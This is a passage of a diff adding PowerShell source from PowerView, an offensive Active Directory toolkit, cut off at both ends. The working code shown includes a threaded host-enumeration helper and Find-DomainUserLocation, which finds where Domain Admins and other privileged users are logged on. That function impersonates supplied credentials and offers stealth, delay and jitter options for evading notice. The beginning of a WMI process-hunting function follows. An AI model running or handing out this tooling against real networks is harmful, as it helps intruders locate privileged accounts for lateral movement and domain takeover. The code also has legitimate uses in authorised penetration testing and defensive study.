'PowerView.FoundFile') + $FoundFile + } + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + + # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + # force a single-threaded apartment state (for token-impersonation stuffz) + $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + + $SleepSeconds = 100 + Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." + + # cleanup- make sure we didn't miss anything + for ($i=0; $i -lt $SleepSeconds; $i++) { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + Start-Sleep -S 1 + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + +function Find-DomainUserLocation { +<# +.SYNOPSIS + +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. If -ShowAll is specified, all results are displayed instead of +the filtered set. If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER UserAllowDelegation + +Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +.PARAMETER CheckAccess + +Switch. Check if the current user has local admin access to computers where target users are found. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER ShowAll + +Switch. Return all user location results instead of filtering based on target +specifications. + +.PARAMETER Stealth + +Switch. Only enumerate sessions from connonly used target servers. + +.PARAMETER StealthSource + +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserLocation + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainUserLocation -Stealth -ShowAll + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +.EXAMPLE + +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserLocation +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserLocation')] + [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [Parameter(ParameterSetName = 'UserGroupIdentity')] + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Alias('AllowDelegation')] + [Switch] + $UserAllowDelegation, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Parameter(ParameterSetName = 'ShowAll')] + [Switch] + $ShowAll, + + [Switch] + $Stealth, + + [String] + [ValidateSet('DFS', 'DC', 'File', 'All')] + $StealthSource = 'All', + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + $TargetComputers = @() + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = @($ComputerName) + } + else { + if ($PSBoundParameters['Stealth']) { + Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" + $TargetComputerArrayList = New-Object System.Collections.ArrayList + + if ($StealthSource -match 'File|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for file servers' + $FileServerSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } + $FileServers = Get-DomainFileServer @FileServerSearcherArguments + if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } + $TargetComputerArrayList.AddRange( $FileServers ) + } + if ($StealthSource -match 'DFS|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' + # # TODO: fix the passed parameters to Get-DomainDFSShare + # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} + } + if ($StealthSource -match 'DC|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } + $TargetComputerArrayList.AddRange( $DomainControllers ) + } + $TargetComputers = $TargetComputerArrayList.ToArray() + } + else { + Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + } + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserLocation] No hosts found to enumerate' + } + + # get the current user so we can ignore it in the results + if ($PSBoundParameters['Credential']) { + $CurrentUser = $Credential.GetNetworkCredential().UserName + } + else { + $CurrentUser = ([Environment]::UserName).ToLower() + } + + # now build the user target set + if ($PSBoundParameters['ShowAll']) { + $TargetUsers = @() + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" + if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { + throw '[Find-DomainUserLocation] No users found to target' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $Sessions = Get-NetSession -ComputerName $TargetComputer + ForEach ($Session in $Sessions) { + $UserName = $Session.UserName + $CName = $Session.CName + + if ($CName -and $CName.StartsWith('\\')) { + $CName = $CName.TrimStart('\') + } + + # make sure we have a result, and ignore computer$ sessions + if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { + + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $Null + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName + + # try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null + } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + if (-not $Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer + ForEach ($User in $LoggedOn) { + $UserName = $User.UserName + $UserDomain = $User.LogonDomain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { + $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress + $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null + $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Test-AdminAccess -ComputerName $TargetComputer + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-DomainProcess { +<# +.SYNOPSIS + +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER ProcessName + +Search for processes with one or more specific names. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainProcess + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +.EXAMPLE + +Find-DomainProcess -ProcessName putty.exe + +Searchings for instances of putty.exe running on the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserProcess +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + 